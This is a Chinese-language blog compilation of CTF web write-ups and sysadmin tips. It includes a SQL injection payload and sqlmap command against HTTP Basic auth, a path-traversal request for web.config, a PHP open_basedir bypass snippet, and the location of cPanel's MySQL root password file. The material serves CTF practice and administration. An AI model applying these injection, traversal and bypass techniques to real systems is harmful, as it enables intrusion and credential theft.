SECCON 2016 Writeup – [Web] basiq

題目

主要目的是要我們找出管理員的密碼 題目在這邊

看樣子這是一個賽馬的網站呢, 既然如此那就讓我來賽個馬吧!, 玩著玩著就輸到脫褲子了…(沒天賦

過程

麻, 看樣子目標根本不是要讓我賽馬得冠軍, 獎品也不是管理員密碼, 只好認份的開始追蹤各種 API, 在測試了一輪後發現前台應該沒有洞

既然API本身沒有洞, 那就來看看 HTML 跟 JS 有沒有藏什麼東西吧!

在追蹤的過程中發現 javascripts/client.js 的 login 內有關於管理員的相關功能

function login(message){
    if(message.status!=='OK'){
        alert(message.error);
        return;
    }
    loginuser = message.data;
    $.getJSON('keiba.cgi?action=expenditure', expenditure);

    var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
    if(loginuser == 'admin'){
        links.push({label:'Admin', href:'/admin/'});
    }
  // ..... 省略

來去逛逛 /admin/ 吧!!, 誒誒誒誒…竟然要密碼耶(這不是廢話嗎XD

來試試看老招吧, admin/' or '1'='1 於是就成功登進去了, 看樣子目標的洞在這裡啊

由於 HTTP Basic Authorization 要 經過 base64 encode, 但 sqlmap 並不能直接注入這個點, 因此得靠 proxy 去做 base64 encode

後來找到發現 Burpsuite 有插件 Encode Authorization Header 可以使用

因為注入點很奇怪, 所以要自行定義, 在錄製檔中用 * 表示注入點, sqlmap 會自己抓到

GET /admin/ HTTP/1.1
Host: basiq.pwn.seccon.jp
Authorization:Basic admin:*
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36

接著呼叫 sqlmap

python sqlmap.py -r basiq.txt --ignore-401 --proxy=http://127.0.0.1:8080 --dbms mysql --threads 10 --dbs

由於注入點不在url 上, 也不是 POST, 因此 sqlmap 會詢問以下問題確認注入的位置

do you want to try URI injections in the target URL itself? [Y/n/q] n 
custom injection marking character ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y

最終取得 admin 的密碼

Database: keiba
Table: ☹☺☻
[2 entries]
+----+-------+------------------+
| id | name  | pass             |
+----+-------+------------------+
| 0  | admin | SECCON{Carnival} |
| 1  | aa    | ' or 1;#         |
+----+-------+------------------+

Flag

SECCON{Carnival}

後記

用 emoji 當 table name 實在是很有梗啊

金盾2016 Writeup – [Web] GSA2016

題目

有一個網站GSA2016, 要我們闖進去找Flag

提示

SEO

解題

網站打開後就看到一張圖然後就沒了

但在source中發現了下面這段javascript, 看樣子是用來載入圖片用的

function update(n, f) {
            $.ajax({
                url: 'ShowPhoto.ashx',
                type: 'POST',
                data: f,
                cache: false,
                success: function (data) {
                    $('#m').html('<img class="img-rounded" src="data:image/png;base64,' + data + '" />');
                },
                error: function (errorText) {
                    alert("Wwoops something went wrong !");
                }
            });
        }
        update("kobe-bryant.png", '{"file_name":"a29iZS1icnlhbnQucG5n"}');

從 js 中可以發現他呼叫了 ShowPhoto.ashx 來取得資源, 參數是檔名的base64, 回傳結果也是 base64

Aspx的網站通常都有 web.config 這個設定檔, 因此將其 base64 encode 後向 ShowPhoto.ashx 請求資源

但並這麼做並沒有得到任何內容, 可能猜測的目錄不對, 改送 ../web.config 接著就得到 Web.config 內容

在 Web.config 中發現有用資訊

<!-- Flag file -->
<add key="keyfile" value="54fb3bd9d6052999fbf5bbd397f483d2af35461fec3c1a8886f52109950aeea611a58ddf7c17efb80f7a754272dbd4955d9b974ee506db6e499e5b162fa78480.key" />

看樣子只要猜到檔案位置就收工了, 這時候想到 Aspx 通常會將一些資料放在 App_Data, 因此向 ShowPhoto.ashx 取得這個檔案, Flag Get!

Flag

Live in the present moment!

註記

題目一開始給的提示 SEO 是提示我們去看 robots.txt 這個檔案, 其中 Disallow: App_Data 暗示檔案位置

QiwiCTF2016 Writeup – [Web] javascript

題目

網頁中提供一個欄位讓使用者輸入 Key, 程式會驗證是否正確
而這把 key 就是 這題的 flag.

過程

該檢查函數資料如下

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('18 10(){1a(1b("%o%p%9%3%8%g%a%9%0%1%9%3%a%5%1%6%e%8%2%7%0%F%b%0%0%0%0%j%4%2%0%3%c%4%2%e%0%d%0%G%u%M%D%1c%1d%N%16%11%13%14%17%15%R%w%19%1p%1l%Q%1m%P%1n%U%12%X%V%Y%4%i%3%5%1%o%t%c%g%z%1o%m%1e%9%a%L%1k%2%e%8%p%j%A%1j%1f%E%q%l%s%v%O%1g%n%1h%I%Z%r%1i%d%G%f%b%0%0%0%0%j%4%2%0%1%9%3%a%5%1%5%0%d%0%C%B%f%b%0%0%0%0%j%4%2%0%3%0%d%0%q%f%b%0%0%0%0%A%c%g%m%1%0%6%3%0%k%0%e%8%2%h%m%1%9%t%8%c%7%0%F%b%0%0%0%0%0%0%0%0%j%4%2%0%i%q%0%d%0%e%8%2%h%3%c%4%2%D%a%5%1%u%8%6%3%r%r%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%i%l%0%d%0%e%8%2%h%3%c%4%2%D%a%5%1%u%8%6%3%r%r%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%i%s%0%d%0%e%8%2%h%3%c%4%2%D%a%5%1%u%8%6%3%r%r%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%i%p%o%0%d%0%6%i%q%0%k%k%0%l%n%7%0%r%0%6%6%i%l%0%J%J%0%q%7%0%k%k%0%I%7%0%r%0%6%i%s%0%J%J%0%q%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%q%0%d%0%6%i%p%o%0%K%0%6%n%v%0%k%k%0%l%I%7%7%0%y%y%0%l%I%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%l%0%d%0%6%i%p%o%0%K%0%6%n%v%0%k%k%0%l%s%7%7%0%y%y%0%l%s%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%s%0%d%0%g%e%w%4%w%6%i%l%7%0%T%0%n%O%0%S%0%6%i%p%o%0%K%0%6%n%v%0%k%k%0%n%7%7%0%y%y%0%n%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%v%0%d%0%g%e%w%4%w%6%i%s%7%0%T%0%n%O%0%S%0%6%i%p%o%0%K%0%n%v%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%q%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%l%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%s%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%v%7%f%b%0%0%0%0%H%b%0%0%0%0%2%1%8%p%2%9%0%1%9%3%a%5%1%5%h%z%a%g%9%6%G%G%7%f%b%0%H%b%g%o%0%6%1%9%3%a%5%1%6%3%8%o%h%L%4%e%e%A%a%2%5%h%j%4%m%p%1%7%0%d%d%0%x%4%z%Q%s%w%11%w%z%3%z%N%A%5%N%Z%o%X%E%M%g%Y%9%U%E%V%E%Q%q%R%P%M%p%x%7%F%4%m%1%2%8%6%x%P%c%4%8%0%2%g%t%c%8%W%x%7%f%H%1%m%e%1%F%4%m%1%2%8%6%x%12%2%a%9%t%0%L%4%e%e%A%a%2%5%W%x%7%f%H%0%b"))}10();',62,88,'20|65|72|63|61|64|28|29|74|6E|6F|0A|68|3D|73|3B|69|2E|62|76|3C|31|6C|36|66|75|30|2B|32|67|41|33|4E|22|3E|6A|77|5D|5B|43|7A|7B|27|7D|38|7C|26|70|42|46|34|54|52|4D|3A|3F|56|59|21|58|5A|39|check|48|57|49|4A|4C|47|4B|function|4F|eval|unescape|44|45|6D|79|35|37|2F|78|71|51|53|55|6B|50'.split('|'),0,{}))

我們可以透過以下兩種方法解開 packer
1. 透過 unPacker
2. 將 eval 改為 console.log 然後執行, 重複這個動作直到內容完全解開

解開後我們可以得到下列的結果

function encode(str) 
    {
        var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        var encoded = [];
        var c = 0;
        while (c < str.length) 
        {
                var b0 = str.charCodeAt(c++);
                var b1 = str.charCodeAt(c++);
                var b2 = str.charCodeAt(c++);
                var buf = (b0 << 16) + ((b1 || 0) << 8) + (b2 || 0);
                var i0 = (buf & (63 << 18)) >> 18;
                var i1 = (buf & (63 << 12)) >> 12;
                var i2 = isNaN(b1) ? 64 : (buf & (63 << 6)) >> 6;
                var i3 = isNaN(b2) ? 64 : (buf & 63);
                encoded[encoded.length] = chars.charAt(i0);
                encoded[encoded.length] = chars.charAt(i1);
                encoded[encoded.length] = chars.charAt(i2);
                encoded[encoded.length] = chars.charAt(i3);

    }
        return encoded.join('');

}
if (encode(ctf.password.value) == "ajR2NHNjcjFwdF9fXzBiZnVzYzR0MTBu")
    {
    alert("That right!");
}
else
    {
    alert("Wrong password!");
}

當中可以得知程式會判斷輸入值encode後是否為 ajR2NHNjcjFwdF9fXzBiZnVzYzR0MTBu
接著觀察 encode 的動作方式, 然後就發現他其實是 base64 encode

Flag

j4v4scr1pt___0bfusc4t10n

重設 mysql root 密碼(Mysql 5.7.5 以下, 5.7.6 以上)

由於工作內容時常接手不明主機, 找 root 密碼早已是家常便飯, 這邊與各位分享 Mysql <= 5.7.5 以及 Mysql >= 5.7.6 的 root 重設方法

1. Stop Service

停止執行中的 mysql

service mysql stop

2. Run Mysql in single-user mode

進入單人模式

mysqld_safe --skip-grant-tables --skip-networking &

參數解釋:
* –skip-grant-tables: 不載入權限表
* –skip-networking: 關閉網路連線(遠端使用者將無法連入主機)

警告: 單人模式下所有人都可以免密碼存取 root, 若您的環境是共用系統, 為避免造成資安上的疑慮, 請務必將主機上其他人請下線.

3. Reset Root Password

3.1 Mysql <= 5.7.5

SET PASSWORD FOR 'root'@'localhost' = PASSWORD('root_password');

3.2 Mysql >= 5.7.6

UPDATE mysql.user SET authentication_string = PASSWORD('root_password')
WHERE User = 'root' AND Host = 'localhost';

4. Flush Privileges

FLUSH PRIVILEGES;
exit;

5. Restart mysql

重新執行 mysql, 使其恢復正常模式

service mysql stop
service mysql start

6. Finish

現在可以使用新的 root 密碼進行登入了~

取得及修改 cpanel mysql 的 root 密碼

Cpanel 在主機管理系統的市佔率極高, 在路上很容易遇到 cpanel 主機, 雖然操作作業通常都由 cpanel 的後台直接進行, 但有時候我們需要直接從 cli 中去對資料庫操作, 這時候就會需要 mysql root password, 而 cpanel 的所有服務密碼都是獨立的, 因此 WHM 的 root password 並不適用.

cpanel 會將 root 密碼存在 /root/.my.conf 當中, 檔案內的 password 後方就是 root 密碼.

[client]
password="#kdu^39dk!;dl"
user=root

若想要修改 mysql 的密碼, 在修改密碼後回填 /root/.my.conf 以及重啟 DB, cpanel 就會使用新密碼進行操作.

PostgreSQL 備份與還原

最近在進行一個 postgreSQL 的主機轉移作業, 由於主機的版本有升級, 決定採取導出後導入的方式進行, 在這邊紀錄一下 PostgreSQL備份與還原的過程, 以及過程中遇到的問題

環境

  • DB_SERVER_1
    OS: Debian 8
    DB: PostgreSQL 9.3.5

  • DB_SERVER_2
    OS: Debian 8
    DB: PostgreSQL 9.5.5

步驟

備份(導出)

指令:

pg_dump [-h 主機] [-p 資料庫Port] [-U 使用者名稱] [資料庫名稱] [-f 檔案名稱]

範例:
Host: db01.postgresql
Port: 5502
User: pqadmin
DB: website

pg_dump-h db01.postgresql -p 5502 -U pqadmin website -f website-2016-11-07.sql

系統接著會問密碼(輸入不會顯示在畫面上), 再輸入完後我們就會得到一個 website-2016-11-07.sql 的導出結果

還原(導入)

指令 psql

psql [-h 主機] [-p 資料庫Port] [-f 檔案名稱] [資料庫名稱] [使用者名稱]

注意參數格式, psql 與 pg_dump 參數格式不同

範例:
Host: db02.postgresql
Port: 5990
User: pqadmin
DB: website

psql -h db02.postgresql -p 5990 -f website-2016-11-07.sql website pqadmin

接著一樣輸入使用者密碼系統就會開始導入

遭遇問題

1. pg_dump: aborting because of server version mismatch

問題原因

pg_dump 的版本低於目標Server的版本, --ignore-version 這個參數在新版已經無法使用

解決辦法

安裝正確版本的 postgresql, pg_dump 便會是相對應版本

2. pg_dump 版本不符

問題原因

安裝了正確版本的 postgresql 後, pg_dump 的版本依然是舊的, 主要的問題在安裝新版 postgresql 的方法大多都是使用官方 repo, 官方repo 與 apt, yum package 的安裝位置不同, 導致 pg_dump 會一直抓到 apt, yum 安裝的版本而不是新的版本

解決辦法

可以在 /usr/lib/postgresql/{version}/bin/找到對應版本的 psql 與 pg_dump

open_basedir 繞過

在多使用者或者設定較為嚴格的環境中, 管理者會在 php.ini 中指定 open_basedir 來避免目錄存取越界, 但實際上 open_basedir 這個參數在某些狀況下是無效的, 是可以技巧性的繞過

熟悉 php 開發的人應該都會知道 glob 這個函數, glob 函數實際上是不受到 open_basedir 影響, 可以取得限制外的資訊, 解決辦法就只要將其禁用即可, 但除了 glob 這個函數外還有另一種方法.

方法

在 php5 以上 有一個 Class: DirectoryIterator, 我們可以藉由這個類別與 glob:// 來再次繞過 open_basedir

Code:

$files = [];
$glob = new DirectoryIterator("glob:///*");
foreach($glob as $f) {
    $files[] = $f->__toString();
}

在 Windows 下 存取 Ext2/Ext3/Ext4 磁區

在主機維護的日常中, 時常會在 Linux 與 Windows 環境中切換, Linux 下如果要開啟 NTFS 格式沒有甚麼困難, 但 Windows 開啟 ext2/ext2/ext4 格式卻很少人討論

因工作上需要在Windows 環境下讀取 Linux 的磁碟資料, 在這邊介紹一個可以使用的讀取工具

軟體介紹

Ext2Fsd 是 Windows 下一套很實用的 Driver, 雖然名稱是 ext2fsd 但 ext3/ext4 都可讀取, 安裝完成後電腦便可直接認得 ext 格式磁區
雖然官方介紹只能支援到 Windows 8, 但實測 Windows 10 可以正常使用

軟體資訊

官方網站: Ext2Fsd Project
下載網址: 點此下載

使用方法

安裝完成後重新啟動電腦, 系統便可直接識別出 ext 格式的磁區, 可以搭配 vmdk 掛載 直接用檔案總管來操作磁碟

直接掛載 Vmdk

有使用 Esxi 或 VMWare Workstation 的使用者對於 vmdk 這個格式想必都不陌生, 近日因工作上需求需要取得vm內的檔案, 但是又不想掛載整台虛擬機, 所以決定直接打開vmdk, 在這邊與各位分享一下掛載步驟

環境準備

VMWare Workstation

步驟

1. 打開 Map Virtual Disks

工具列 -> File -> Map Virtual Disks

2. 開啟 Map 選單

3. 設定掛載 vmdk

Filename: 選取想要掛載的 vmdk
Volume: 選擇想要掛載的分割磁區, 這台VM 共有三個磁區, 這部分我選擇 74.5GB 的磁區
Drive: 磁區掛載的磁碟代號

4. 卸除磁碟

當使用完畢後, 我們可以在 Map Virtual Disks 點選 Disconnect 來卸除磁碟

小記

直接 mount vmdk 是一個很實用的功能, 但目前只有 Workstation 版本可以使用, Player 版本並沒有這個功能
另外, 使用完畢務必卸除磁碟, 不然還是會像一般硬碟那樣損毀

Security Hardening Guides 的 Compilers 是什麼?

在很多檢查工具中都會有一個類別叫做 Hardening, 在這個類別中常見的東西有 安裝防毒, 定時稽核… 等, 其中有一個項目叫做 Compiler(s), 這個項目是我被問過最多次的一個項目, 在這邊跟大家分享這個項目的主要目的

說明

Compiler(s) 項目表示主機內有可供使用的編譯器, 像是 gcc, g++ 這類可以直接編出 Binary 的編譯器

風險

基本上在大多數正確設置的主機中, 若權限設定得宜可以將入侵後的破壞風險控制住, 但 Kernel 漏洞是很多人難以處置的問題, 可能原因是主機無法任意重開或者懶得管, Kernel 漏洞跟編譯器的主要關聯在於Kernel 漏洞可以透過編譯 exploit 來進行提權, 藉此獲取更高的權限, 這將使權限設定的效果降低, 而這樣的過程需要使用編譯器, 因此一個可以被使用者使用的編譯器會讓主機在某些層面上增加風險.

補充

  1. Lynis 有檢查這個項目
  2. 2016/10/20 – Linux 發現一個存在9年的 Kernel exploit – Dirty COW(CVE-2016-5195), 就是一個需要在編譯 exploit 的例子. 參考來源: The Hacker News – Dirty COW